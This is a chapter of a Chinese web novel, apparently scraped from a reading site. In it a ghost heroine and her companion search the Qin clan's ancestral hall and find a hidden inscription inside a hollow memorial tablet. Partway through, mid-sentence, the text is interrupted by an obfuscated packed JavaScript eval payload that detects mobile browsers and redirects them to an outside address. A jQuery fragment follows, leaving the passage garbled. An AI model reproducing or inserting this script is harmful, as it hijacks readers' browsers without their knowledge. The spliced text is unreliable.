57. 第 57 章

作品:《恨嫁NPC他光速白给

    鱼宣没走大门,而是直接落到天井。


    秦渑他们还没来得及清扫这里,鱼宣也无意让人知道自己偷摸着跑来人家宗祠,于是用灵力罩裹住自己和齐览,以免留下痕迹。


    全盛的女鬼对于灵力的使用毫不吝啬。


    一人一鬼才跨过门槛,迎面被金灿灿晃了眼。


    两边的柱联是金底,上方的牌匾是金底,浮雕花纹也铺了金底。


    这里是中堂,家族举行大型活动的地方,用料以红木为主,堂前有一方方正正的木案,上有彩绘浮雕。


    木案上立着一个黑底金字牌,上书“秦氏历代先祖宗亲”。


    其后是一尊半人高的古朴的宝瓶,鱼宣并不清楚这是做什么用的,但看风格与姜王朝十分相近。


    看得出来,这里面的装饰都比较陈旧,秦渑他们应当只是对外表做了一些修缮,暂时还没有足够的经济实力替换掉内部的东西。


    想起自己问秦鄞他们家中是否有祖传的宝物,对方毫不犹豫地否认。


    疑似被认为贪图人家财物的女鬼:……


    其实秦鄞也不完全是说谎。


    宗祠是整个渡头村的秦氏后人一起出资修建的,大部分是由当时的富户出钱。


    而他们家从来没有富裕过。


    所以真正算起来,这座宗祠和里面的东西并不是秦渑他们可以支配的。


    何况他们自持秦氏后人的身份,万万做不出变卖宗祠里的东西这种不敬先祖的事。


    鱼宣凑近看,刻字上的金粉一点也没有偷工减料。


    她绕过木案,站定在那只黑漆漆的宝瓶前。


    瓶身是大面积的黑,离远了看是纯粹的黑,放在眼前看才能发现其上隐着一只暗金的凤。


    别的都是越亮堂的地方看得越清楚,这只金凤却是越昏暗的环境显得越醒目。


    鱼宣一个外行都知道不是凡品。


    她就说,秦津的后人怎么可能真的穷困潦倒。


    如果不是一场洪灾淹了渡头村,十三年够秦氏的富户把这里的金粉补十回。


    可惜秦氏多灾多难,六百年前最鼎盛的时候赶上亡国死城,六百年后蜗居在村子里的旁支也被大水冲得只剩三株苗苗。


    鱼宣左看右看,问:“这是做什么用的?”


    一般中堂讲究东平西静,东面摆瓶子,西面放镜子。


    但这是宗祠的中堂,鱼宣不确定一些常识会不会有特例。


    齐览:“是风水瓶,寓意家族平安繁荣。”


    鱼宣朝他招招手,让他也来看瓶身的金凤。


    “寻常人家不能轻易用龙凤的纹样,但秦家出了一位姜王妃,”鱼宣猜测,“这会不会是姜王妃的遗物?”


    齐览:“有可能,不过即便是姜王妃的遗物,也只可能在王宫中,流落在外不合规矩,何况还到了旁支的手里。”


    这瓶子是鱼宣在这个屋子里唯一直觉有猫腻的东西了。


    但是系统没提示。


    鱼宣四周看看,没发现其他值得注意的,于是往后走。


    通往后堂的门有两扇,一左一右,鱼宣根据交通规则选择右边。


    后堂不比中堂开阔,因其用作安置先人灵位,所以要求清静,风格朴实而神秘。


    推开尘封的门,面前是一片空地,是专门留出来摆蒲团用的。


    现在村子空置,蒲团放在这里也是落灰,应当被收起来了。


    再往里是供桌,然后是牌位。


    摆得最高的最中间的牌位,正是秦津的。


    还好有香火供奉,不然秦太傅做鬼也太凄惨了。


    秦渑他们的先祖是秦津的庶子秦鹄,在南方生意做得很大,这一脉的嫡系传到第二十三代,就是南盛城最初的受害者之一。


    宝来钱庄的少公子。


    现在这个宗祠的修建也是宝来钱庄占了大头。


    鱼宣翻着秦氏的族谱和家族志,感慨:“秦氏简直是被天灾人祸追着杀。”


    在这些牌位里,最下方的一排明显质量差些,金粉很薄。


    这些人死的时间一致,是十三年前。


    粗略数下来,足有四五十人。


    齐览安静看着女鬼在人家的宗祠里寻寻觅觅,倒是不担心。


    他确认过了,这里只是一个普普通通的建筑,没有任何灵异的痕迹。


    就算有,鱼宣的实力他也见识过了。


    只是,“你想找什么?”


    鱼宣每次到处翻翻找找都目的明确又毫无章法,回过头来问他一些问题,然后拿着不知道那个角落的信息拼拼凑凑,最后高深莫测地得出结论。


    齐览被她当做一本工具书,只在特定的时候想起来翻看。


    这样时冷时热的对待,齐览想忽视都不行。


    可是他过往十九年里的经历太单一,对鱼宣的喜好也没有过多了解,对方与他公事公办未必没有无话可说的原因在。


    思来想去,齐览一时没辙,想让鱼宣眼里有他,只能想方设法帮她的忙。


    鱼宣头也不抬:“找到什么算什么。”


    这游戏自由度太高,内测版的指向性其实还不够明确,玩家自主探索出来的线索能用上一半就不错了,根本不能奢望指哪打哪。


    鱼宣和自己的角色已经很融入,自然也知道附近没有其他灵异。


    她盯着那方牌位看了好一会儿。


    从进来时她就察觉到,这些牌位里只有秦津的是用黑木制成,这也是鱼宣觉得它格外扎眼的原因。


    不让她碰。


    那肯定有必要碰一碰。


    其实鱼宣现在有恃无恐,她现在血厚得很,这东西肯定不可能再给她划出口子来了。


    她结束了对牌位的注目,视线松动的下一刻,一只手伸过来拿起了它。


    鱼宣顺着那只手的方向看过去。


    齐览拿在手里掂量了一下,又曲起指节叩了叩它的表面。


    他抬眼,肯定道:“是空心的。”


    鱼宣点点头,问:“能打开吗?”


    齐览轻轻“嗯”了一声,随后在黑木牌位上摸索起来。


    “咔嗒”一声后,木牌与底座分离开。


    并没有掉出任何东西。


    齐览指尖燃起一簇灵火。


    他的灵火相较普通的火焰颜色浅,色调更冷,但比起鱼宣的蓝绿色鬼火已经够暖和了。


    泛着暖色的灵火照耀下,黑木牌位内部的刻痕显露。


    熟悉的字体。


    系统贴心标注:“后事欲善,焚以精只。”


    精只香,焚之辟鬼。


    “当前进度:52%(剧情探索达到60%将解锁支线)”


    鱼宣:辟谁?我吗?


    不知道这牌位是哪个能工巧匠做的,但在死人的东西里面写辟鬼的办法,未免太冒犯了。


    “后事欲善”是什么意思?


    难道秦津早就知道他们家之后会命途多舛吗?


    毕竟他要为公子穆找祭司后人,与各种相关人士的交流不可避免,自己兴起算过命也说不定。


    这个世界观里的神棍还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15050298|155640||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是有点本事的,鱼宣姑且相信一下这个素未谋面的人的判断。


    牌位是人死后才有的,秦津必然交代了自己的后人。


    而洪灾的发生是意外,谁也没料到一下子整个渡头村只剩三个半点大的孩子。


    等等。


    鱼宣突然抬头:“秦渑是不是说,他们送走了一个孤儿,还有一个人去年死了?”


    齐览:“嗯,我们何时路过的那座无名坟很新,应该就是他。”


    族谱上有这个秦氏无名,他死时三十四岁,十三年前已经二十一了,这些族中事宜或许会透露给他。


    可是秦氏落魄至此,十三年没有任何起色,难道是因为秦渑他们买不起精只香所以没按照先祖的遗训做吗?


    不对。


    精只香有价无市,秦氏六百年来一直依赖它的话,就算没有掌握制作方法,也该有存货。


    莫非都被水淹了?


    如果真是这样,那秦氏只能自认倒霉了。


    鱼宣把翻动过的地方复原。


    有问题。


    有问题好啊。


    她从里到外看了个遍,至少是有思路了。


    回到秦渑三人的屋子时,也才过去不到一个时辰。


    他们昨日做完活领了工钱已经闭市了,为了置办东西,今天清早赶去买了才出发,到这里碰见鱼宣和齐览时已经过了用午膳的时候。


    这会儿不早不晚的,但三个人饿得前胸贴后背,见这两位回来,秦渑赶紧问:“大人,你们可要吃点什么吗?这附近没店家,不过我们买了肉回来。”


    鱼宣跟他们打照面的时候就发现那几只鸡鸭鹅了。


    没有买鱼,或许是因为渡头村临水可以就地取材。


    这对于秦渑他们来说都是一年就这么一回的大菜,年节都不一定有,还得留着祭拜用。


    鱼宣:“我们行路累了,饿归饿,但没什么胃口,也没有忌口,菜少些不要紧,能快点吃上就行。”


    秦渑应下,转身去逮了一只鸡进了厨房。


    招待贵客至少要有一个撑场面的菜,就算鱼宣说要快,秦渑也不可能尽拿小菜来敷衍。


    鱼宣估摸着开饭还得一个时辰。


    她叹气。


    秦郃端着一大盆清水往厨房的方向去。


    “大人,屋子都收拾干净了,你们进去歇歇吧。”


    “多谢了,”鱼宣颔首,“鄞娘子呢?”


    秦郃:“二姐去书房了,她在写送钱表文。”


    秦家的屋子结构简单,与桃源镇宛娘子的家差不离,只是有三间卧房,其中一间是柴房改的。


    所谓的书房就是秦郃的卧房外间,两边用屏风隔开。


    秦鄞见鱼宣来,连忙搁下笔起身。


    “大人,您回来了,我去催催饭。”


    鱼宣摆手:“我才与他们打过招呼,不必你催。”


    “我来是有话想问。”


    鱼宣有话,秦鄞不好再坐下,干脆走出来绕到桌前:“您问吧。”


    “你们送走的那个孤儿,是谁家的?”


    鱼宣问起来都别扭。


    严格说来,秦家三人也是孤儿,这么问总归绕不开过往伤心事。


    秦鄞对这位大人时不时的八竿子打不着的提问逐渐习惯。


    “是河上漂来的,不知道是哪家的孩子。”


    鱼宣了然。


    怪不得送走,原来不是秦氏后人。


    那就好。


    鱼宣不用担心流落在外的秦家人又在某个地方倒大霉了。